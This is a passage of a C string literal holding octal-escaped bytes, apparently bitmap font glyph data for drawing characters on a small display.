\"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\377\\377\\376\\0\\0\\0\\0\\0\\0\\1\\7\\17\\36\\274\\370\\360pppp\"\n  \"p\\70<\\36\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\17\\7\\7\\7\\7\\7\\17\\16\\16\\16\\16\\17\\7\\7\\0\"\n  \"\\0\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\70\\70x\\360\\360\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377pppp\\360\\360\\370\\274\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177ppp\\0\\0\"\n  \"\\1\\3\\7\\37~|xpp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\340\\360p\\70\\70\\70\\70\\70xp\\360\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\"\n  \"\\37\\36<\\70\\70xpp\\360\\343\\343\\303\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\177\\177\\70\\60ppppp\"\n  \"p\\71\\77\\37\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\370\\370\\370\\70\\70\\70\\70\\370\\370\\370\\70\\70\\70\\70\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0ppppp\\177\\177\\177p\"\n  \"pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\370\\370\\370\\70\\70\\70\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\0\\0\\0\\0\\0\\0\\0\\377\\377\"\n  \"\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37<\\70xpppx\"\n  \"\\70<\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\0\\0\\0\\70\\70\\70\\370\\370\\370\\70\\70\\70\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\7\\77\\377\\370\\340\\0\\0\\0\\340\\370\\377\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\77\\177x\\177\"\n  \"\\77\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\370\\370\\370\\70\\70\\70\\70\\0\\0\\0\\70\\70\\70\\70\\370\\370\\370\\70\\0\\0\\0\\0\\0\\0\\7\\377\\377\"\n  \"\\370\\0\\340\\374\\377\\37\\377\\374\\340\\0\\370\\377\\377\\7\\0\\0\\0\\0\\0\\0\\0\\0\\3\\177\\177\\177\\37\\3\\0\\0\\0\\3\"\n  \"\\37\\177\\177\\177\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70x\\370\\370\\370\\270\\70\\0\\0\\0\\70\\270\\370\\370\\370x\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\203\\307\\357\\376|\\376\\357\\307\\203\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0ppx|\\177\\177wq\\0\\0\\0q\"\n  \"w\\177\\177|xpp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70xx\\370\\370\\270\\70\\0\\0\\0\\70\\270\\370\\370xx\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\7\\17\\77\\374\\370\\374\\77\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppp\\177\\177\\177p\"\n  \"ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\70\\70\\70\\70\\70\\70\\370\\370\\370x\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\300\\340\\360|>\\37\\7\\3\\201\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0p|~\\177wsqppp\"\n  \"pp\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\34\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\16\\16\\16\\16\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\7\\37\\377\\374\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\3\\37\\177\\374\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\"\n  \"\\376\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\16\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360|>|\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\"\n  \"\\17\\17\\3\\1\\0\\0\\0\\1\\3\\17\\17\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\16\\34\\70p`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\216\"\n  \"\\216\\217\\307\\307\\307\\307\\307\\307\\317\\376\\376\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\177sqqqqq\\71\"\n  \"\\31\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\"\n  \"\\377\\377<\\16\\16\\7\\7\\7\\7\\17\\16>\\374\\370\\340\\0\\0\\0\\0\\0ppp\\177\\177\\177<\\70pppp\"\n  \"ppx<\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\"\n  \"\\374\\36\\16\\17\\7\\7\\7\\7\\17\\16~\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\77<xppppp\"\n  \"pp\\70<\\34\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\"\n  \">\\16\\17\\7\\7\\7\\7\\17\\16>\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37<\\70xppppx\"\n  \"\\70\\34\\177\\177\\177ppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\370\"\n  \"\\374\\336\\316\\317\\307\\307\\307\\307\\317\\316\\336\\374\\370\\360\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37\\77=yyqqqq\"\n  \"qqqy\\71\\71\\20\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\370<\\34\\34\\34\\34\\34\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\7\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppp\\177\\177\\177pp\"\n  \"ppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\"\n  \">\\16\\17\\7\\7\\7\\17\\16>\\377\\377\\377\\7\\7\\7\\0\\0\\0\\0\\0\\0\\3\\17\\37>xppppx\\70\"\n  \"\\36\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\70<\\36\\37\\17\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\34\\16\\7\\7\\7\\7\\17\\376\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\\177\\177\\177pp\\0\\0\\0\"\n  \"pp\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\7\\7\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppppp\\177\\177\\177\"\n  \"pppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\7\\7\\7\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\70\\70<\\37\\17\\7\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\377\\377\\377\\300\\340\\367\\377\\77\\37\\17\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0ppp\\177\\177\\177\\1\\3\\7\\17\\177\"\n  \"~|xppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34\\34\\34\\34\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0pppppp\\177\\177\\177\"\n  \"pppppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\377\\377\"\n  \"\\377\\16\\6\\7\\7\\377\\376\\376\\16\\7\\7\\7\\377\\376\\374\\0\\0\\0\\0\\0\\0p\\177\\177\\177pp\\0\\0\\177\\177\\177\"\n  \"pp\\0\\0\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\"\n  \"\\377\\377\\377\\34\\16\\7\\7\\7\\7\\17\\376\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0pp\\177\\177\\177pp\\0\\0\\0\"\n  \"pp\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\"\n  \"\\374>\\16\\7\\7\\7\\7\\7\\7\\7\\16>\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\3\\17\\37>\\70ppppp\"\n  \"pp\\70>\\37\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\377\"\n  \"\\377\\377\\34\\16\\6\\7\\7\\7\\7\\7\\16\\36\\374\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\34\\70\\60ppp\"\n  \"p\\70\\70\\36\\37\\17\\3\\0\\0\\0\\0\\0\\70\\70\\70\\77\\77\\77\\70\\70\\70\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374\"\n  \">\\16\\17\\7\\7\\7\\7\\17\\16>\\377\\377\\377\\7\\7\\7\\0\\0\\0\\0\\0\\3\\17\\37>\\70xpppp\\70\"\n  \"\\70\\36\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\77\\77\\77\\70\\70\\70\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\"\n  \"\\7\\7\\377\\377\\377<\\16\\16\\7\\7\\7\\17\\37\\16\\4\\0\\0\\0\\0\\0\\0\\0pppp\\177\\177\\177ppp\"\n  \"pppp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"x\\376\\376\\357\\307\\307\\307\\307\\307\\217\\236\\237\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0~~~\\70\\71qqqq\"\n  \"qs;\\77\\37\\16\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\"\n  \"\\7\\377\\377\\377\\7\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\77\\77xppp\"\n  \"px\\70<<\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\7\\7\\7\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\77\\177xpppp\"\n  \"x\\70\\177\\177\\177pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\17\\77\"\n  \"\\377\\377\\347\\207\\0\\0\\0\\207\\347\\377\\177\\37\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77~x~\\37\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\177\\377\"\n  \"\\377\\307\\7\\340\\370\\370\\370\\340\\7\\307\\377\\377\\177\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\177\\177\\177\\17\\1\\0\\1\\17\"\n  \"\\177\\177\\177\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\17\"\n  \"\\37\\77\\177\\367\\340\\300\\340\\367\\77\\37\\17\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0pppx|~w\\3\\1\\3w\"\n  \"\\177~|xpp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\17\"\n  \"\\77\\377\\377\\347\\207\\0\\0\\0\\7\\307\\367\\377\\77\\17\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\376\\370\\374\"\n  \"\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70\\70<\\77\\77;\\70\\70\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\77\\77\\77\\7\\207\\307\\347\\367\\177\\77\\37\\17\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0x|~\\177wsqp\"\n  \"pp|||\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\\374<\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\300\\300\\340\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\16\\16\\16\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\34<\\374\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\377\\377\\340\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\16\\16\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\"\n  \"\\370\\70\\34<x\\370\\360\\340\\300\\340\\370x\\70\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  